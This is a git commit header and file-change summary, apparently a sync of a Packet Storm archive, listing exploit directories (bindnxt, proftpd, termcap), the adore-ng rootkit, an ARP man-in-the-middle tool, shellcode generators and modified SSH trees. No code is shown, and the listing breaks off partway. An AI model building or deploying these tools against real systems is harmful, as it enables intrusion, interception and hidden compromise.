From 5d3573ef7a109ee70416fe94db098fe6a769a798 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Tue, 3 Mar 2026 06:28:55 +0000 Subject: packetstorm sync --- exploits/7350ascend/7350ascend-foo.c | 89 + exploits/7350bindnxt/Makefile | 12 + exploits/7350bindnxt/code.c | 86 + exploits/7350bindnxt/code.h | 21 + exploits/7350bindnxt/dnslib.c | 149 + exploits/7350bindnxt/dnslib.h | 25 + exploits/7350bindnxt/nxt.c | 462 + exploits/7350bindnxt/vulninfo | 53 + exploits/7350delefate/delefate.c | 325 + exploits/7350lapsus/7350lapsus.pl | 65 + exploits/7350man/7350man.c | 36 + exploits/7350pippi/7350pippi.pl | 97 + exploits/7350proftpd/pro.c | 472 + exploits/7350proftpd/vulninfo | 55 + exploits/7350termcap/libtermcapsploit.c | 61 + other/3wahas/3wahas.c | 51 + other/3wahas/3wahas.h | 12 + other/3wahas/Makefile | 27 + other/3wahas/README | 8 + other/3wahas/common.c | 296 + other/3wahas/common.h | 26 + other/3wahas/network.c | 258 + other/3wahas/network.h | 126 + other/3wahas/packet.c | 178 + other/3wahas/packet.h | 74 + other/3wahas/sniff.c | 182 + other/3wahas/sniff.h | 41 + other/adore-ng/CVS/Entries | 22 + other/adore-ng/CVS/Repository | 1 + other/adore-ng/CVS/Root | 1 + other/adore-ng/Changelog | 174 + other/adore-ng/FEATURES | 30 + other/adore-ng/LICENSE | 31 + other/adore-ng/Makefile.2.6.gen | 29 + other/adore-ng/Makefile.gen | 33 + other/adore-ng/README | 163 + other/adore-ng/README.26 | 29 + other/adore-ng/adore-ng-2.6.c | 604 ++ other/adore-ng/adore-ng.c | 665 ++ other/adore-ng/adore-ng.h | 55 + other/adore-ng/adore-ng.mod.c | 17 + other/adore-ng/ava.c | 146 + other/adore-ng/cleaner.c | 58 + other/adore-ng/configure | 243 + other/adore-ng/irq_vectors.h | 10 + other/adore-ng/libinvisible.c | 169 + other/adore-ng/libinvisible.h | 74 + other/adore-ng/relink | 46 + other/adore-ng/startadore | 11 + other/adore-ng/symsed.c | 52 + other/adore-ng/visible-start.c | 22 + other/arpmitm/Makefile | 13 + other/arpmitm/arpmitm.c | 584 ++ other/dirthy/dirthy.c | 123 + other/fizzbounce/Makefile | 15 + other/fizzbounce/client.c | 106 + other/fizzbounce/client.h | 47 + other/fizzbounce/main.c | 125 + other/fizzbounce/main.h | 14 + other/fizzbounce/network.c | 691 ++ other/fizzbounce/network.h | 205 + other/fizzbounce/relay.c | 166 + other/fizzbounce/relay.h | 12 + other/grabbb/Makefile | 12 + other/grabbb/README | 19 + other/grabbb/grabbb.c | 849 ++ other/guess-who/CVS/Entries | 17 + other/guess-who/CVS/Repository | 1 + other/guess-who/CVS/Root | 1 + other/guess-who/Changes | 37 + other/guess-who/LICENSE | 31 + other/guess-who/Makefile | 38 + other/guess-who/README | 22 + other/guess-who/TODO | 4 + other/guess-who/base64.cc | 315 + other/guess-who/base64.h | 17 + other/guess-who/keygen.cc | 119 + other/guess-who/main.cc | 166 + other/guess-who/misc.cc | 178 + other/guess-who/misc.h | 48 + other/guess-who/pubscan.cc | 193 + other/guess-who/ssh.cc | 677 ++ other/guess-who/ssh.h | 160 + other/guess-who/thread.cc | 223 + other/guess-who/thread.h | 76 + other/itunnel/Makefile | 10 + other/itunnel/it.c | 176 + other/mipsshellcode/mipsshellcode.pdf | Bin 0 -> 161051 bytes other/openssh-2.1.1p4/COPYING.Ylonen | 70 + other/openssh-2.1.1p4/CREDITS | 68 + other/openssh-2.1.1p4/ChangeLog | 1897 ++++ other/openssh-2.1.1p4/INSTALL | 192 + other/openssh-2.1.1p4/Makefile | 198 + other/openssh-2.1.1p4/Makefile.in | 198 + other/openssh-2.1.1p4/OVERVIEW | 164 + other/openssh-2.1.1p4/README | 69 + other/openssh-2.1.1p4/README.Ylonen | 567 ++ other/openssh-2.1.1p4/README.fun | 51 + other/openssh-2.1.1p4/README.openssh2 | 44 + other/openssh-2.1.1p4/RFC.nroff | 1780 ++++ other/openssh-2.1.1p4/TODO | 16 + other/openssh-2.1.1p4/UPGRADING | 132 + other/openssh-2.1.1p4/acconfig.h | 238 + other/openssh-2.1.1p4/aclocal.m4 | 45 + other/openssh-2.1.1p4/atomicio.c | 62 + other/openssh-2.1.1p4/auth-krb4.c | 351 + other/openssh-2.1.1p4/auth-options.c | 208 + other/openssh-2.1.1p4/auth-options.h | 13 + other/openssh-2.1.1p4/auth-pam.c | 307 + other/openssh-2.1.1p4/auth-pam.h | 15 + other/openssh-2.1.1p4/auth-passwd.c | 142 + other/openssh-2.1.1p4/auth-rh-rsa.c | 115 + other/openssh-2.1.1p4/auth-rhosts.c | 266 + other/openssh-2.1.1p4/auth-rsa.c | 285 + other/openssh-2.1.1p4/auth-skey.c | 191 + other/openssh-2.1.1p4/auth.c | 167 + other/openssh-2.1.1p4/auth.h | 17 + other/openssh-2.1.1p4/auth1.c | 536 ++ other/openssh-2.1.1p4/auth2.c | 542 ++ other/openssh-2.1.1p4/authfd.c | 498 ++ other/openssh-2.1.1p4/authfd.h | 119 + other/openssh-2.1.1p4/authfile.c | 493 ++ other/openssh-2.1.1p4/authfile.h | 36 + other/openssh-2.1.1p4/aux.c | 71 + other/openssh-2.1.1p4/bsd-base64.c | 316 + other/openssh-2.1.1p4/bsd-base64.h | 16 + other/openssh-2.1.1p4/bsd-bindresvport.c | 112 + other/openssh-2.1.1p4/bsd-bindresvport.h | 10 + other/openssh-2.1.1p4/bsd-daemon.c | 81 + other/openssh-2.1.1p4/bsd-daemon.h | 9 + other/openssh-2.1.1p4/bsd-inet_aton.c | 193 + other/openssh-2.1.1p4/bsd-inet_aton.h | 10 + other/openssh-2.1.1p4/bsd-misc.c | 166 + other/openssh-2.1.1p4/bsd-misc.h | 65 + other/openssh-2.1.1p4/bsd-mktemp.c | 189 + other/openssh-2.1.1p4/bsd-mktemp.h | 11 + other/openssh-2.1.1p4/bsd-rresvport.c | 105 + other/openssh-2.1.1p4/bsd-rresvport.h | 10 + other/openssh-2.1.1p4/bsd-setenv.c | 161 + other/openssh-2.1.1p4/bsd-setenv.h | 12 + other/openssh-2.1.1p4/bsd-sigaction.c | 102 + other/openssh-2.1.1p4/bsd-sigaction.h | 88 + other/openssh-2.1.1p4/bsd-snprintf.c | 788 ++ other/openssh-2.1.1p4/bsd-snprintf.h | 17 + other/openssh-2.1.1p4/bsd-strlcat.c | 76 + other/openssh-2.1.1p4/bsd-strlcat.h | 10 + other/openssh-2.1.1p4/bsd-strlcpy.c | 73 + other/openssh-2.1.1p4/bsd-strlcpy.h | 10 + other/openssh-2.1.1p4/bsd-strsep.c | 89 + other/openssh-2.1.1p4/bsd-strsep.h | 10 + other/openssh-2.1.1p4/bufaux.c | 209 + other/openssh-2.1.1p4/bufaux.h | 58 + other/openssh-2.1.1p4/buffer.c | 162 + other/openssh-2.1.1p4/buffer.h | 68 + other/openssh-2.1.1p4/canohost.c | 298 + other/openssh-2.1.1p4/channels.c | 2324 +++++ other/openssh-2.1.1p4/channels.h | 237 + other/openssh-2.1.1p4/cipher.c | 464 + other/openssh-2.1.1p4/cipher.h | 115 + other/openssh-2.1.1p4/clientloop.c | 1117 +++ other/openssh-2.1.1p4/compat.c | 107 + other/openssh-2.1.1p4/compat.h | 52 + other/openssh-2.1.1p4/compress.c | 143 + other/openssh-2.1.1p4/compress.h | 50 + other/openssh-2.1.1p4/config.guess | 1270 +++ other/openssh-2.1.1p4/config.h | 521 ++ other/openssh-2.1.1p4/config.h.in | 520 ++ other/openssh-2.1.1p4/config.status | 775 ++ other/openssh-2.1.1p4/config.sub | 1312 +++ other/openssh-2.1.1p4/configure | 6694 ++++++++++++++ other/openssh-2.1.1p4/configure.in | 1381 +++ other/openssh-2.1.1p4/contrib/README | 67 + other/openssh-2.1.1p4/contrib/chroot.diff | 61 + other/openssh-2.1.1p4/contrib/gnome-ssh-askpass.c | 155 + .../openssh-2.1.1p4/contrib/make-ssh-known-hosts.1 | 432 + .../contrib/make-ssh-known-hosts.pl | 737 ++ other/openssh-2.1.1p4/contrib/redhat/openssh.spec | 275 + other/openssh-2.1.1p4/contrib/redhat/sshd.init | 60 + other/openssh-2.1.1p4/contrib/redhat/sshd.pam | 8 + other/openssh-2.1.1p4/contrib/ssh-copy-id | 45 + other/openssh-2.1.1p4/contrib/ssh-copy-id.1 | 67 + other/openssh-2.1.1p4/contrib/sshd.pam.freebsd | 5 + other/openssh-2.1.1p4/contrib/sshd.pam.generic | 8 + other/openssh-2.1.1p4/contrib/suse/openssh.spec | 261 + other/openssh-2.1.1p4/contrib/suse/rc.config.sshd | 5 + other/openssh-2.1.1p4/contrib/suse/rc.sshd | 80 + other/openssh-2.1.1p4/crc32.c | 121 + other/openssh-2.1.1p4/crc32.h | 27 + other/openssh-2.1.1p4/deattack.c | 155 + other/openssh-2.1.1p4/deattack.h | 28 + other/openssh-2.1.1p4/defines.h | 381 + other/openssh-2.1.1p4/dispatch.c | 78 + other/openssh-2.1.1p4/dispatch.h | 11 + other/openssh-2.1.1p4/dsa.c | 309 + other/openssh-2.1.1p4/dsa.h | 22 + other/openssh-2.1.1p4/entropy.c | 825 ++ other/openssh-2.1.1p4/entropy.h | 36 + other/openssh-2.1.1p4/fake-gai-errnos.h | 12 + other/openssh-2.1.1p4/fake-getaddrinfo.c | 119 + other/openssh-2.1.1p4/fake-getaddrinfo.h | 45 + other/openssh-2.1.1p4/fake-getnameinfo.c | 53 + other/openssh-2.1.1p4/fake-getnameinfo.h | 18 + other/openssh-2.1.1p4/fake-socket.h | 49 + other/openssh-2.1.1p4/fingerprint.c | 69 + other/openssh-2.1.1p4/fingerprint.h | 34 + other/openssh-2.1.1p4/fixpaths | 50 + other/openssh-2.1.1p4/fixprogs | 72 + other/openssh-2.1.1p4/getput.h | 63 + other/openssh-2.1.1p4/hmac.c | 59 + other/openssh-2.1.1p4/hmac.h | 11 + other/openssh-2.1.1p4/hostfile.c | 194 + other/openssh-2.1.1p4/hostfile.h | 22 + other/openssh-2.1.1p4/includes.h | 111 + other/openssh-2.1.1p4/install-sh | 251 + other/openssh-2.1.1p4/kex.c | 470 + other/openssh-2.1.1p4/kex.h | 117 + other/openssh-2.1.1p4/key.c | 337 + other/openssh-2.1.1p4/key.h | 25 + other/openssh-2.1.1p4/log-client.c | 62 + other/openssh-2.1.1p4/log-server.c | 147 + other/openssh-2.1.1p4/log.c | 184 + other/openssh-2.1.1p4/login.c | 69 + other/openssh-2.1.1p4/loginrec.c | 1434 +++ other/openssh-2.1.1p4/loginrec.h | 137 + other/openssh-2.1.1p4/logintest.c | 309 + other/openssh-2.1.1p4/match.c | 141 + other/openssh-2.1.1p4/match.h | 18 + other/openssh-2.1.1p4/md5crypt.c | 159 + other/openssh-2.1.1p4/md5crypt.h | 30 + other/openssh-2.1.1p4/mkinstalldirs | 40 + other/openssh-2.1.1p4/mpaux.c | 46 + other/openssh-2.1.1p4/mpaux.h | 32 + other/openssh-2.1.1p4/myproposal.h | 20 + other/openssh-2.1.1p4/nchan.c | 495 ++ other/openssh-2.1.1p4/nchan.h | 96 + other/openssh-2.1.1p4/nchan.ms | 102 + other/openssh-2.1.1p4/nchan2.ms | 64 + other/openssh-2.1.1p4/next-posix.c | 104 + other/openssh-2.1.1p4/next-posix.h | 58 + other/openssh-2.1.1p4/openbsd-compat.h | 25 + other/openssh-2.1.1p4/packet.c | 1287 +++ other/openssh-2.1.1p4/packet.h | 219 + other/openssh-2.1.1p4/pty.c | 302 + other/openssh-2.1.1p4/pty.h | 48 + other/openssh-2.1.1p4/radix.c | 194 + other/openssh-2.1.1p4/readconf.c | 794 ++ other/openssh-2.1.1p4/readconf.h | 145 + other/openssh-2.1.1p4/readpass.c | 119 + other/openssh-2.1.1p4/rsa.c | 191 + other/openssh-2.1.1p4/rsa.h | 38 + other/openssh-2.1.1p4/scp.0 | 69 + other/openssh-2.1.1p4/scp.1 | 124 + other/openssh-2.1.1p4/scp.c | 1267 +++ other/openssh-2.1.1p4/servconf.c | 668 ++ other/openssh-2.1.1p4/servconf.h | 121 + other/openssh-2.1.1p4/serverloop.c | 855 ++ other/openssh-2.1.1p4/session.c | 1815 ++++ other/openssh-2.1.1p4/session.h | 14 + other/openssh-2.1.1p4/ssh-add.0 | 78 + other/openssh-2.1.1p4/ssh-add.1 | 121 + other/openssh-2.1.1p4/ssh-add.c | 266 + other/openssh-2.1.1p4/ssh-agent.0 | 104 + other/openssh-2.1.1p4/ssh-agent.1 | 167 + other/openssh-2.1.1p4/ssh-agent.c | 670 ++ other/openssh-2.1.1p4/ssh-keygen.0 | 152 + other/openssh-2.1.1p4/ssh-keygen.1 | 221 + other/openssh-2.1.1p4/ssh-keygen.c | 751 ++ other/openssh-2.1.1p4/ssh.0 | 811 ++ other/openssh-2.1.1p4/ssh.1 | 1231 +++ other/openssh-2.1.1p4/ssh.c | 990 +++ other/openssh-2.1.1p4/ssh.h | 560 ++ other/openssh-2.1.1p4/ssh2.h | 112 + other/openssh-2.1.1p4/ssh_config | 37 + other/openssh-2.1.1p4/ssh_prng_cmds | 51 + other/openssh-2.1.1p4/ssh_prng_cmds.in | 51 + other/openssh-2.1.1p4/sshconnect.c | 755 ++ other/openssh-2.1.1p4/sshconnect.h | 16 + other/openssh-2.1.1p4/sshconnect1.c | 1024 +++ other/openssh-2.1.1p4/sshconnect2.c | 461 + other/openssh-2.1.1p4/sshd.0 | 732 ++ other/openssh-2.1.1p4/sshd.8 | 1004 +++ other/openssh-2.1.1p4/sshd.c | 1431 +++ other/openssh-2.1.1p4/sshd_config | 53 + other/openssh-2.1.1p4/tildexpand.c | 66 + other/openssh-2.1.1p4/ttymodes.c | 359 + other/openssh-2.1.1p4/ttymodes.h | 141 + other/openssh-2.1.1p4/uidswap.c | 99 + other/openssh-2.1.1p4/uidswap.h | 36 + other/openssh-2.1.1p4/uuencode.c | 50 + other/openssh-2.1.1p4/uuencode.h | 6 + other/openssh-2.1.1p4/version.h | 1 + other/openssh-2.1.1p4/xmalloc.c | 53 + other/openssh-2.1.1p4/xmalloc.h | 34 + other/openssh-reverse/COPYING.Ylonen | 70 + other/openssh-reverse/CREDITS | 68 + other/openssh-reverse/ChangeLog | 1897 ++++ other/openssh-reverse/INSTALL | 192 + other/openssh-reverse/Makefile | 198 + other/openssh-reverse/Makefile.in | 198 + other/openssh-reverse/OVERVIEW | 164 + other/openssh-reverse/README | 69 + other/openssh-reverse/README.Ylonen | 567 ++ other/openssh-reverse/README.fun | 51 + other/openssh-reverse/README.openssh2 | 44 + other/openssh-reverse/RFC.nroff | 1780 ++++ other/openssh-reverse/TODO | 16 + other/openssh-reverse/UPGRADING | 132 + other/openssh-reverse/acconfig.h | 238 + other/openssh-reverse/aclocal.m4 | 45 + other/openssh-reverse/atomicio.c | 62 + other/openssh-reverse/auth-krb4.c | 351 + other/openssh-reverse/auth-options.c | 208 + other/openssh-reverse/auth-options.h | 13 + other/openssh-reverse/auth-pam.c | 307 + other/openssh-reverse/auth-pam.h | 15 + other/openssh-reverse/auth-passwd.c | 142 + other/openssh-reverse/auth-rh-rsa.c | 115 + other/openssh-reverse/auth-rhosts.c | 266 + other/openssh-reverse/auth-rsa.c | 285 + other/openssh-reverse/auth-skey.c | 191 + other/openssh-reverse/auth.c | 167 + other/openssh-reverse/auth.h | 17 + other/openssh-reverse/auth1.c | 536 ++ other/openssh-reverse/auth2.c | 542 ++ other/openssh-reverse/authfd.c | 498 ++ other/openssh-reverse/authfd.h | 119 + other/openssh-reverse/authfile.c | 493 ++ other/openssh-reverse/authfile.h | 36 + other/openssh-reverse/aux.c | 71 + other/openssh-reverse/bsd-base64.c | 316 + other/openssh-reverse/bsd-base64.h | 16 + other/openssh-reverse/bsd-bindresvport.c | 112 + other/openssh-reverse/bsd-bindresvport.h | 10 + other/openssh-reverse/bsd-daemon.c | 81 + other/openssh-reverse/bsd-daemon.h | 9 + other/openssh-reverse/bsd-inet_aton.c | 193 + other/openssh-reverse/bsd-inet_aton.h | 10 + other/openssh-reverse/bsd-misc.c | 166 + other/openssh-reverse/bsd-misc.h | 65 + other/openssh-reverse/bsd-mktemp.c | 189 + other/openssh-reverse/bsd-mktemp.h | 11 + other/openssh-reverse/bsd-rresvport.c | 105 + other/openssh-reverse/bsd-rresvport.h | 10 + other/openssh-reverse/bsd-setenv.c | 161 + other/openssh-reverse/bsd-setenv.h | 12 + other/openssh-reverse/bsd-sigaction.c | 102 + other/openssh-reverse/bsd-sigaction.h | 88 + other/openssh-reverse/bsd-snprintf.c | 788 ++ other/openssh-reverse/bsd-snprintf.h | 17 + other/openssh-reverse/bsd-strlcat.c | 76 + other/openssh-reverse/bsd-strlcat.h | 10 + other/openssh-reverse/bsd-strlcpy.c | 73 + other/openssh-reverse/bsd-strlcpy.h | 10 + other/openssh-reverse/bsd-strsep.c | 89 + other/openssh-reverse/bsd-strsep.h | 10 + other/openssh-reverse/bufaux.c | 209 + other/openssh-reverse/bufaux.h | 58 + other/openssh-reverse/buffer.c | 162 + other/openssh-reverse/buffer.h | 68 + other/openssh-reverse/canohost.c | 298 + other/openssh-reverse/channels.c | 2324 +++++ other/openssh-reverse/channels.h | 237 + other/openssh-reverse/cipher.c | 464 + other/openssh-reverse/cipher.h | 115 + other/openssh-reverse/clientloop.c | 1117 +++ other/openssh-reverse/compat.c | 107 + other/openssh-reverse/compat.h | 52 + other/openssh-reverse/compress.c | 143 + other/openssh-reverse/compress.h | 50 + other/openssh-reverse/config.guess | 1270 +++ other/openssh-reverse/config.h | 521 ++ other/openssh-reverse/config.h.in | 520 ++ other/openssh-reverse/config.status | 775 ++ other/openssh-reverse/config.sub | 1312 +++ other/openssh-reverse/configure | 6694 ++++++++++++++ other/openssh-reverse/configure.in | 1381 +++ other/openssh-reverse/contrib/README | 67 + other/openssh-reverse/contrib/chroot.diff | 61 + other/openssh-reverse/contrib/gnome-ssh-askpass.c | 155 + .../openssh-reverse/contrib/make-ssh-known-hosts.1 | 432 + .../contrib/make-ssh-known-hosts.pl | 737 ++ other/openssh-reverse/contrib/redhat/openssh.spec | 275 + other/openssh-reverse/contrib/redhat/sshd.init | 60 + other/openssh-reverse/contrib/redhat/sshd.pam | 8 + other/openssh-reverse/contrib/ssh-copy-id | 45 + other/openssh-reverse/contrib/ssh-copy-id.1 | 67 + other/openssh-reverse/contrib/sshd.pam.freebsd | 5 + other/openssh-reverse/contrib/sshd.pam.generic | 8 + other/openssh-reverse/contrib/suse/openssh.spec | 261 + other/openssh-reverse/contrib/suse/rc.config.sshd | 5 + other/openssh-reverse/contrib/suse/rc.sshd | 80 + other/openssh-reverse/crc32.c | 121 + other/openssh-reverse/crc32.h | 27 + other/openssh-reverse/deattack.c | 155 + other/openssh-reverse/deattack.h | 28 + other/openssh-reverse/defines.h | 381 + other/openssh-reverse/dispatch.c | 78 + other/openssh-reverse/dispatch.h | 11 + other/openssh-reverse/dsa.c | 309 + other/openssh-reverse/dsa.h | 22 + other/openssh-reverse/entropy.c | 825 ++ other/openssh-reverse/entropy.h | 36 + other/openssh-reverse/fake-gai-errnos.h | 12 + other/openssh-reverse/fake-getaddrinfo.c | 119 + other/openssh-reverse/fake-getaddrinfo.h | 45 + other/openssh-reverse/fake-getnameinfo.c | 53 + other/openssh-reverse/fake-getnameinfo.h | 18 + other/openssh-reverse/fake-socket.h | 49 + other/openssh-reverse/fingerprint.c | 69 + other/openssh-reverse/fingerprint.h | 34 + other/openssh-reverse/fixpaths | 50 + other/openssh-reverse/fixprogs | 72 + other/openssh-reverse/getput.h | 63 + other/openssh-reverse/hmac.c | 59 + other/openssh-reverse/hmac.h | 11 + other/openssh-reverse/hostfile.c | 194 + other/openssh-reverse/hostfile.h | 22 + other/openssh-reverse/includes.h | 111 + other/openssh-reverse/install-sh | 251 + other/openssh-reverse/kex.c | 470 + other/openssh-reverse/kex.h | 117 + other/openssh-reverse/key.c | 337 + other/openssh-reverse/key.h | 25 + other/openssh-reverse/log-client.c | 62 + other/openssh-reverse/log-server.c | 147 + other/openssh-reverse/log.c | 184 + other/openssh-reverse/login.c | 69 + other/openssh-reverse/loginrec.c | 1434 +++ other/openssh-reverse/loginrec.h | 137 + other/openssh-reverse/logintest.c | 309 + other/openssh-reverse/match.c | 141 + other/openssh-reverse/match.h | 18 + other/openssh-reverse/md5crypt.c | 159 + other/openssh-reverse/md5crypt.h | 30 + other/openssh-reverse/mkinstalldirs | 40 + other/openssh-reverse/mpaux.c | 46 + other/openssh-reverse/mpaux.h | 32 + other/openssh-reverse/myproposal.h | 20 + other/openssh-reverse/nchan.c | 495 ++ other/openssh-reverse/nchan.h | 96 + other/openssh-reverse/nchan.ms | 102 + other/openssh-reverse/nchan2.ms | 64 + other/openssh-reverse/next-posix.c | 104 + other/openssh-reverse/next-posix.h | 58 + other/openssh-reverse/openbsd-compat.h | 25 + other/openssh-reverse/packet.c | 1287 +++ other/openssh-reverse/packet.h | 219 + other/openssh-reverse/pty.c | 302 + other/openssh-reverse/pty.h | 48 + other/openssh-reverse/radix.c | 194 + other/openssh-reverse/readconf.c | 794 ++ other/openssh-reverse/readconf.h | 145 + other/openssh-reverse/readpass.c | 119 + other/openssh-reverse/rsa.c | 191 + other/openssh-reverse/rsa.h | 38 + other/openssh-reverse/scp.0 | 69 + other/openssh-reverse/scp.1 | 124 + other/openssh-reverse/scp.c | 1267 +++ other/openssh-reverse/servconf.c | 668 ++ other/openssh-reverse/servconf.h | 121 + other/openssh-reverse/serverloop.c | 855 ++ other/openssh-reverse/session.c | 1815 ++++ other/openssh-reverse/session.h | 14 + other/openssh-reverse/ssh-add.0 | 78 + other/openssh-reverse/ssh-add.1 | 121 + other/openssh-reverse/ssh-add.c | 266 + other/openssh-reverse/ssh-agent.0 | 104 + other/openssh-reverse/ssh-agent.1 | 167 + other/openssh-reverse/ssh-agent.c | 670 ++ other/openssh-reverse/ssh-keygen.0 | 152 + other/openssh-reverse/ssh-keygen.1 | 221 + other/openssh-reverse/ssh-keygen.c | 751 ++ other/openssh-reverse/ssh.0 | 811 ++ other/openssh-reverse/ssh.1 | 1231 +++ other/openssh-reverse/ssh.c | 990 +++ other/openssh-reverse/ssh.h | 560 ++ other/openssh-reverse/ssh2.h | 112 + other/openssh-reverse/ssh_config | 37 + other/openssh-reverse/ssh_prng_cmds | 51 + other/openssh-reverse/ssh_prng_cmds.in | 51 + other/openssh-reverse/sshconnect.c | 755 ++ other/openssh-reverse/sshconnect.h | 16 + other/openssh-reverse/sshconnect1.c | 1024 +++ other/openssh-reverse/sshconnect2.c | 461 + other/openssh-reverse/sshd.0 | 732 ++ other/openssh-reverse/sshd.8 | 1004 +++ other/openssh-reverse/sshd.c | 1431 +++ other/openssh-reverse/sshd_config | 53 + other/openssh-reverse/tildexpand.c | 66 + other/openssh-reverse/ttymodes.c | 359 + other/openssh-reverse/ttymodes.h | 141 + other/openssh-reverse/uidswap.c | 99 + other/openssh-reverse/uidswap.h | 36 + other/openssh-reverse/uuencode.c | 50 + other/openssh-reverse/uuencode.h | 6 + other/openssh-reverse/version.h | 1 + other/openssh-reverse/xmalloc.c | 53 + other/openssh-reverse/xmalloc.h | 34 + other/reverb/Makefile | 18 + other/reverb/README | 116 + other/reverb/network.c | 458 + other/reverb/network.h | 140 + other/reverb/reverb.c | 491 ++ other/shell/README | 38 + other/shell/sc.s | 51 + other/shell/shellcode.c | 46 + other/shell/shellxp | Bin 0 -> 90748 bytes other/shell/shellxp.c | 130 + other/shellgen/README | 38 + other/shellgen/sc.s | 51 + other/shellgen/shellcode.c | 46 + other/shellgen/shellxp | Bin 0 -> 90748 bytes other/shellgen/shellxp.c | 130 + other/ssharp/CREDITS | 92 + other/ssharp/CVS/Entries | 204 + other/ssharp/CVS/Repository | 1 + other/ssharp/CVS/Root | 1 + other/ssharp/CVS/Tag | 1 + other/ssharp/ChangeLog | 5288 +++++++++++ other/ssharp/INSTALL | 230 + other/ssharp/LICENCE | 136 + other/ssharp/Makefile.in | 260 + other/ssharp/OVERVIEW | 164 + other/ssharp/README | 66 + other/ssharp/README.ssharp | 81 + other/ssharp/RFC.nroff | 1780 ++++ other/ssharp/TODO | 91 + other/ssharp/TODO.ssharp | 2 + other/ssharp/WARNING.RNG | 83 + other/ssharp/acconfig.h | 317 + other/ssharp/aclocal.m4 | 45 + other/ssharp/atomicio.c | 62 + other/ssharp/atomicio.h | 31 + other/ssharp/auth-chall.c | 104 + other/ssharp/auth-krb4.c | 391 + other/ssharp/auth-options.c | 300 + other/ssharp/auth-options.h | 44 + other/ssharp/auth-pam.c | 425 + other/ssharp/auth-pam.h | 22 + other/ssharp/auth-passwd.c | 96 + other/ssharp/auth-rsa.c | 170 + other/ssharp/auth-sia.c | 107 + other/ssharp/auth-sia.h | 8 + other/ssharp/auth.c | 201 + other/ssharp/auth.h | 134 + other/ssharp/auth1.c | 297 + other/ssharp/auth2-chall.c | 112 + other/ssharp/auth2-pam.c | 161 + other/ssharp/auth2-pam.h | 8 + other/ssharp/auth2.c | 716 ++ other/ssharp/authfd.c | 578 ++ other/ssharp/authfd.h | 138 + other/ssharp/authfile.c | 651 ++ other/ssharp/authfile.h | 36 + other/ssharp/bufaux.c | 249 + other/ssharp/bufaux.h | 64 + other/ssharp/buffer.c | 165 + other/ssharp/buffer.h | 66 + other/ssharp/canohost.c | 356 + other/ssharp/canohost.h | 38 + other/ssharp/channels.c | 2813 ++++++ other/ssharp/channels.h | 312 + other/ssharp/cipher.c | 555 ++ other/ssharp/cipher.h | 117 + other/ssharp/cli.c | 229 + other/ssharp/cli.h | 43 + other/ssharp/clientloop.c | 1252 +++ other/ssharp/clientloop.h | 39 + other/ssharp/compat.c | 198 + other/ssharp/compat.h | 60 + other/ssharp/compress.c | 156 + other/ssharp/compress.h | 49 + other/ssharp/config.guess | 1270 +++ other/ssharp/config.h.in | 741 ++ other/ssharp/config.sub | 1312 +++ other/ssharp/configure | 9189 ++++++++++++++++++++ other/ssharp/configure.in | 1966 +++++ other/ssharp/contrib/CVS/Entries | 14 + other/ssharp/contrib/CVS/Repository | 1 + other/ssharp/contrib/CVS/Root | 1 + other/ssharp/contrib/CVS/Tag | 1 + other/ssharp/contrib/README | 72 + other/ssharp/contrib/SecurID.diff | 4117 +++++++++ other/ssharp/contrib/caldera/CVS/Entries | 5 + other/ssharp/contrib/caldera/CVS/Repository | 1 + other/ssharp/contrib/caldera/CVS/Root | 1 + other/ssharp/contrib/caldera/CVS/Tag | 1 + other/ssharp/contrib/caldera/openssh.spec | 281 + other/ssharp/contrib/caldera/ssh-host-keygen | 36 + other/ssharp/contrib/caldera/sshd.init | 125 + other/ssharp/contrib/caldera/sshd.pam | 8 + other/ssharp/contrib/chroot.diff | 63 + other/ssharp/contrib/cygwin/CVS/Entries | 4 + other/ssharp/contrib/cygwin/CVS/Repository | 1 + other/ssharp/contrib/cygwin/CVS/Root | 1 + other/ssharp/contrib/cygwin/CVS/Tag | 1 + other/ssharp/contrib/cygwin/README | 163 + other/ssharp/contrib/cygwin/ssh-host-config | 449 + other/ssharp/contrib/cygwin/ssh-user-config | 200 + other/ssharp/contrib/gnome-ssh-askpass.c | 150 + other/ssharp/contrib/hpux/CVS/Entries | 6 + other/ssharp/contrib/hpux/CVS/Repository | 1 + other/ssharp/contrib/hpux/CVS/Root | 1 + other/ssharp/contrib/hpux/CVS/Tag | 1 + other/ssharp/contrib/hpux/README | 45 + other/ssharp/contrib/hpux/egd | 15 + other/ssharp/contrib/hpux/egd.rc | 98 + other/ssharp/contrib/hpux/sshd | 5 + other/ssharp/contrib/hpux/sshd.rc | 90 + other/ssharp/contrib/redhat/CVS/Entries | 5 + other/ssharp/contrib/redhat/CVS/Repository | 1 + other/ssharp/contrib/redhat/CVS/Root | 1 + other/ssharp/contrib/redhat/CVS/Tag | 1 + other/ssharp/contrib/redhat/openssh.spec | 337 + other/ssharp/contrib/redhat/sshd.init | 151 + other/ssharp/contrib/redhat/sshd.pam | 8 + other/ssharp/contrib/redhat/sshd.pam-7.x | 8 + other/ssharp/contrib/solaris/CVS/Entries | 9 + other/ssharp/contrib/solaris/CVS/Repository | 1 + other/ssharp/contrib/solaris/CVS/Root | 1 + other/ssharp/contrib/solaris/CVS/Tag | 1 + other/ssharp/contrib/solaris/README | 82 + other/ssharp/contrib/solaris/build-pkg | 208 + other/ssharp/contrib/solaris/checkinstall.in | 37 + other/ssharp/contrib/solaris/pkginfo.in | 17 + other/ssharp/contrib/solaris/postinstall.in | 203 + other/ssharp/contrib/solaris/preremove | 2 + other/ssharp/contrib/solaris/prototype | 27 + other/ssharp/contrib/solaris/sshd-initscript.in | 50 + other/ssharp/contrib/ssh-copy-id | 45 + other/ssharp/contrib/ssh-copy-id.1 | 67 + other/ssharp/contrib/sshd.pam.freebsd | 5 + other/ssharp/contrib/sshd.pam.generic | 8 + other/ssharp/contrib/suse/CVS/Entries | 4 + other/ssharp/contrib/suse/CVS/Repository | 1 + other/ssharp/contrib/suse/CVS/Root | 1 + other/ssharp/contrib/suse/CVS/Tag | 1 + other/ssharp/contrib/suse/openssh.spec | 198 + other/ssharp/contrib/suse/rc.config.sshd | 5 + other/ssharp/contrib/suse/rc.sshd | 80 + other/ssharp/crc32.c | 114 + other/ssharp/crc32.h | 25 + other/ssharp/deattack.c | 156 + other/ssharp/deattack.h | 30 + other/ssharp/defines.h | 531 ++ other/ssharp/dh.c | 294 + other/ssharp/dh.h | 48 + other/ssharp/dispatch.c | 79 + other/ssharp/dispatch.h | 36 + other/ssharp/entropy.c | 912 ++ other/ssharp/entropy.h | 33 + other/ssharp/fixpaths | 43 + other/ssharp/fixprogs | 72 + other/ssharp/getput.h | 58 + other/ssharp/groupaccess.c | 78 + 